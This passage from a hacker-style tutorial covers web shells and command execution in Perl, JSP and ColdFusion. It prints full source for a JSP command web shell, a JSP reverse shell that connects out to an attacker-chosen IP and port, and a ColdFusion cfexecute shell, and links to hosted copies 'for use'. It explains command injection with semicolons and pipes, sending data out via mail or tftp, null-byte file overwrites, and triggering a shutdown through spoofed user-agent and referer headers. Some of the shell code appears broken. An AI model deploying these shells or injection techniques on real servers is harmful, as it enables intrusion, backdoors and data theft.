open(OUT, "getkey.txt") or die "0:couldn't open temp file from special.pl";

while (<OUT>) {
```

```
print;

}

close(OUT);

exit;
```

Obviously there is a major bug in the system() function in that we can control the $key variable AND the $number variable. While we won't actually see any output from the system() function, our commands will still be Executed. How would you exploit this? Semi colon or pipe to add on new commands to the function. If commands are now being echoed back to us, how can we tell it works? Several ways. We could use the mail command to send data back to our email address. Or would could tftp data back to us with the PUT instruction. We could redirect output to a file or even redirect output to the newly opened handle 'OUT'.

Another thing to note here is any time we can control a file name or the data written to an open() call, we could exploit it by writing our web shell code to it. Sticking to my previous example, what would happen if the code looked like open(OUT, "'$tmpfile'.log"); ? We control the file name, but not the extension. Since we see no filtering in place, we could actually overwrite other files with what ever is being written by specifying an absolute path plus the proper file name and injecting a null byte (gotta love those null bytes :]) to the end. This would in effect cancel out the extension. Cool beans. And now we move to java. Not my favorite language, but people apparently use it to build things.

##########################

###Web Shells in JSP###

##########################

Oh java, how long have you been around? At least 15 years is my guesstimate. JSP was Sun Microsystems' answer to the server side language vice grip Microsoft had with ASP. Funny how ASP and JSP rhyme and share the same opening tags. In the java environment, commands can be invoked with the Runtime.exec object. Being that java works on windows and Linux, the syntax to enact commands is relatively the same save a minor detail. I grabbed this code from michaeldaw.org and modified it to make it work for windows and Linux and print out the current working directory. For a crash course in jsp, hit up http://java.sun.com/products/jsp . Now for the first shell.

```
<html>

<FORM METHOD=GET ACTION='cmdjsp.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%@ page import="java.util.*" %>

<%@ page import="javax.servlet.*" %>

<%@ page import="javax.servlet.http.*" %>

<%

String cmd = request.getParameter("cmd");

String OS = System.GetProperty("os.name");

String output = "";

if(cmd != null) {

String s = null;

try {

if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command

{

Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);

}

else
{
Process p = Runtime.getRuntime().exec(cmd);
}
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {e.printStackTrace();}
}
%>
<strong>Current working directory is:<br></strong>
<pre>
<%= getServletContext().getRealPath("/") %>
</pre><br>
<pre>
<%=output %>
</pre>
<!-- grabbed from http://michaeldaw.org modified for windows and linux by Joseph Giron -->
</html>
```

And now the quick run down. Starts off with a standard html form, then imports the proper classes. We store the GET'd variable 'cmd' in the string 'cmd', then store a string containing the current operating system in 'OS'. A check is made to see which OS is running then depending on that, the Runtime.exec object is constructed accordingly. This was what I meant earlier by a minor detail - adding cmd.exe /c rather than just executing a command for windows. We then pass the output of the command to a stream and write it to our html page.

Now that that boring stuff is out of the way, we can go over the other shell - the reverse shell. As I've stated in previous articles, reverse shells allow us to telnet to the box and execute commands on behalf of the user running the script (typically 'www' or 'nobody'). I grabbed this from http://www.security.org.sg/code/jspreverse.html and modified it slightly to fit in the article without taking up too much space and to work on both Linux and Windows boxes. Lets have a look see:

```
<html>

<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" % >

<%! static class StreamConnector extends Thread{

InputStream is;

OutputStream os;

StreamConnector(InputStream is, OutputStream os){

this.is = is;

this.os = os;

}

public void run() {

BufferedReader isr = null;

BufferedWriter osw = null;

try{

isr = new BufferedReader(new InputStreamReader(is));

osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];

int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0){

osw.write(buffer, 0, lenRead);

osw.flush();

}

}

catch (Exception ioe)

try{

if(isr != null) isr.close();

if(osw != null) osw.close();

}

catch (Exception ioe)

}

}

%>

<form method="post">

IP Address<input type="text" name="ipaddress" size=30>

Port<input type="text" name="port" size=10>

<input type="submit" name="Connect" value="Connect">

</form> <pre>

<% String ipAddress = request.getParameter("ipaddress");

String OS = System.GetProperty("os.name");

String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null){
```

```
Socket sock = null;

try{

sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command

{

Process proc = Runtime.getRuntime().exec("cmd.exe /C " + cmd);

}

else

{

Process proc = Runtime.getRuntime().exec(cmd);

}

StreamConnector outputConnector = new StreamConnector(proc.getInputStream(),

sock.getOutputStream());

StreamConnector inputConnector = new StreamConnector(sock.getInputStream(),

proc.getOutputStream());

outputConnector.start();

inputConnector.start();

}

catch(Exception e)

}%> </pre>

<!-- Code from http://www.security.org.sg/code/jspreverse.html modified for linux and windows
by Joseph Giron -->

</html>
```

And now for usual explanation of the code. The code starts off by importing classes, declaring variables, and defining stream objects for input and output. The streams are initialized and an output buffer is defined. Then we have your run of the mill html form code that grabs the IP address and port number to connect to. Next the code grabs the passed variables and initializes socket code, checks to see which OS is running, then passes handle of Runtime.exec to the socket for reading and writing. In layman's, it shows us a form to enter an IP and a port for us to enter our info then creates a backdoor for us. Isn't java fun?

If you want to download these for use, I've hosted them here:

http://www.wtfchan.org/~evil1/jsp-web-shell.txt

http://www.wtfchan.org/~evil1/jsp-reverse.jsp.txt

Now for some exploitation of JSP.

###############################

###Command execution in JSP###

###############################

Exploiting JSP requires some knowledge of java. Since java its self is a rich object oriented language, you'll probably find yourself knee deep on class files looking for references. Its this kind of functionality that makes java hard to secure. When you have multiple sources contributing to one application, if one of the modules has a bug in it, it puts the whole project at risk. What kind of bugs could let us execute a shell? JSP's include() function comes to mind. Much like PHP's include(), JSP's version include server side code if passed to it. This means any time you can control what is being included, you got some problems. Example:

```
<jsp:include page="{HttpServletRequest().getParameter("pg")}" />
```

Since the 'pg' variable is in our control, we can change what is included remotely or locally. I'm going to go out on a limb here and say you CAN include files remotely and they will execute, but I'm not sure, I've never encountered an RFI in JSP. The least you can do is read files on the box which is better than nothing.

In the web shell section, we went Runtime.exec object. As you can imagine if you can control anything part of the string passed to exec() you can take control of the application or even the web server. The java servlet class responsible for accepting and returning user input in HTTP is the HttpServletRequest class, and its counterpart responsible for responding is HttpServletResponse. The same rules apply to attacking Runtime.exec() as other languages such as perl, asp and php. Just remember what variables you can control client side. Watch all usage of reqest.getParameter(), request.QueryString,

request.getRequestURI and follow through. For a complete listing of supported methods by the HttpServletRequest class, check out http://www.163jsp.com/help/javaee50api/javax/servlet/http/HttpServletRequest.html.

################################

###Web Shells in Cold Fusion###

################################

Coldfusion is currently owned by adobe who it from macromedia who bought it from Jeremy and JJ Allaire in 2001. It reminds me of the history of HPUX being owned by several different companies. ColdFusion's greatest attraction is its rich database orientation and html like syntax. The draw back to ColdFusion is it <opinion>sucks</opinion>. To execute commands in ColdFusion, we use the <cfexecute> tag. The <cfexecute> tag takes 5 arguments, 1 of required (name) and the rest optional (arg, outputfile, variable, timeout). The name argument is the program to be executed. In the case of a webshell, this will likely be cmd.exe. The arg argument represents command line switches. Outputfile is the file we want to output to. Variable is the variable our output could go to - in a web shell, this will be what we want to send output to and echo back to us. Lastly we have the timeout argument which tells <cfexecute> when to give up and stop trying to execute a command in seconds. For complete information on <cfexecute> check out the documentation http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-p25.htm

Lets not waste any time here and get to the goods. I grabbed this web shell from

http://www.securiteam.com/tools/5ZP0B00FPG.html. I edited it for size and took out the stupid table tags.

```
<html>

<body>
```

```
<cfoutput>

<form method="POST" action="cfexec.cfm"> <!-- be sure to set to the name of your script -->

Command:

<input type=text name="cmd" size=50<cfif isdefined("form.cmd")> value="#form.cmd#"
</cfif> > <br>

Options:

<input type=text name="opts" size=50 <cfif isdefined("form.opts")> value="#form.opts#"
</cfif> > <br>

Timeout:

<input type=text name="timeout" size=4 <cfif isdefined("form.timeout")>
value="#form.timeout#" <cfelse> value="5" </cfif>>

<input type=submit value="Execute">

</form>

<cfsavecontent variable="myVar">

<cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#">

</cfexecute>

</cfsavecontent>

< pre>

#myVar#

</pre>

</cfoutput>

</body>

</html>
```

As you can see, ColdFusion looks just like html. The code starts with the <cfoutput> tag which displays the output of its execution. Then we have your standard html form that grabs input for execution, the command line arguments, and then the timeout. Then the <cfexecute> is setup with the right arguments extrapolated from the form finally, output is sent back to the user. I know this section is a bit short, but there is no reverse shell in ColdFusion - I looked for about an hour.

##

###Command Execution Vulnerabilities in Cold Fusion###

##

Abusing Coldfusion to execute commands is easy. If we can control a variable is part of either the name or arg argument in the <cfexecute> tag, we can execute code. If we can control the output file, we could overwrite IIS log files or even deface websites. Elements the user can control include:

#form.elementname#

#URL.nameofvariable#

#CGI.CERT_SUBJECT#

#CGI.CERT_ISSUER#

#CGI.HTTP_REFERER#

#CGI.HTTP_USER_AGENT#

#CGI.HTTP_IF_MODIFIED_SINCE#

#CGI.QUERY_STRING#

#COOKIE.name#

#COOKIE.value#

Or any variable passed via an html form declared with pound signs #variable#. Lets take a look at a poorlyy build <cfexecute> tag.

```
<cfoutput>

<cfexecute name=#CGI.HTTP_USER_AGENT# arguments=#CGI.HTTP_REFERER#>

BLAH!

</cfexecute>

</cfoutput>
```

Exploiting this trivial example is cake. In Firefox, you can change your user agent by typing about:config into the address bar, then right clicking the page and selecting new string. Type general.useragent.override as the object name and type in whatever you want for the next useragent string. In the examples case, I think I'll set my useragent to shutdown. In the case of modifying the referrer, there are a number of addons for firefox that will make this easy such as Tamper Data and referrer spoofer. Either will let us set the referrer to something like...."-f -t 30" making our full executed command "shutdown -f -t 30" which should (provided we have permissions) shutdown the box in 30 seconds. Cool beans. You can get Referrer Spoofer and Tamper Data below:

Tamper Data:	https://addons.mozilla.org/en-US/firefox/addon/966
Referrer Spoofer:	https://addons.mozilla.org/en-US/firefox/addon/4513

That's all for now folks. I hope you enjoyed the paper!

References:

1. http://www.pentestmonkey.net
2. http://livedocs.adobe.com/coldfusion/6.1/htmldocs
3. http://java.sun.com/products/jsp/
4. http://www.msdn.com
5. http://www.mozilla.org
6. http://www.nuked-klan.org
7. http://code.webgeek.net
8. http://www.securiteam.com
9. http://163jsp.com
10. http://www.michaeldaw.org

11. http://www.security.org.sg